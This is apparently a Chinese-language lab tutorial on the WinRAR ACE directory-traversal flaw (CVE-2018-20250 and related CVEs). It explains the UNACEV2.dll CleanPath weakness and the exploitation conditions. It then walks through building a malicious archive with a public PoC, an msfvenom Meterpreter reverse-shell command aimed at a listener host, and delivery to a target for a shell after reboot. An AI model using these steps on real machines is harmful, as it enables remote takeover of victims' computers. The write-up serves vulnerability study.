2019 年 2 月 20 日 Check Point团队爆出了一个关于WinRAR存在19年的漏洞,用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件,当受害者使用WinRAR解压该恶意文件时便会触发漏洞。
WinRAR 代码执行相关的 CVE 编号如下: CVE-2018-20250, CVE-2018-20251, CVE-2018-20252,CVE-2018-20253
该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。该动态链接库的作用是处理 ACE 格式文件。在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致目录穿越漏洞,允许解压过程写入文件至开机启动项,导致代码执行。
漏洞利用条件:
攻击不能跨盘符,即受害者进行解压文件触发漏洞时,必须在系统盘,且在不知道计算机主机名的情况下,只能在主浏览器的默认下载路径下或者桌面进行解压。
WinAce:一款来自德国的绝对强悍的压缩和解压缩程序,功能及支持格式相当齐全,功能方面包括压缩与解压缩之外、还有分片压缩、加密功能、支持鼠标右键快显功能,建立自动解压缩等,支持的格式更丰富包括程序本身的ACE及ZIP、RAR、LZH、ARJ、TAR、CAB、LHA、GZIP等,几乎常用的程序都支持,另 WinACE可预设压缩及解压缩路径、编辑程序、扫毒程序等。
实验过程:
这个作者就不进行实验环境的搭建了
一台window和一台kali就可以进行
1、首先我们先使用网上公开的POC进行验证漏洞是否存在并利用
POC地址:https://github.com/WyAtu/CVE-2018-20250
下载POC,安装存在漏洞winrar-x64-561scp.exe
首先使用kali的msf生成一个反弹shell的payload
命令:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.1.1.100 lport=1234 -f exe -o /root/muma.exe
下载POC
git clone https://github.com/WyAtu/CVE-2018-20250
将生成的payload拷贝到POC目录下
更改POC
vim exp.py
执行该EXP生成rar文件
使用msf设置监听
将存在漏洞的rar文件发送至目标主机,当其解压并重启后获取其shell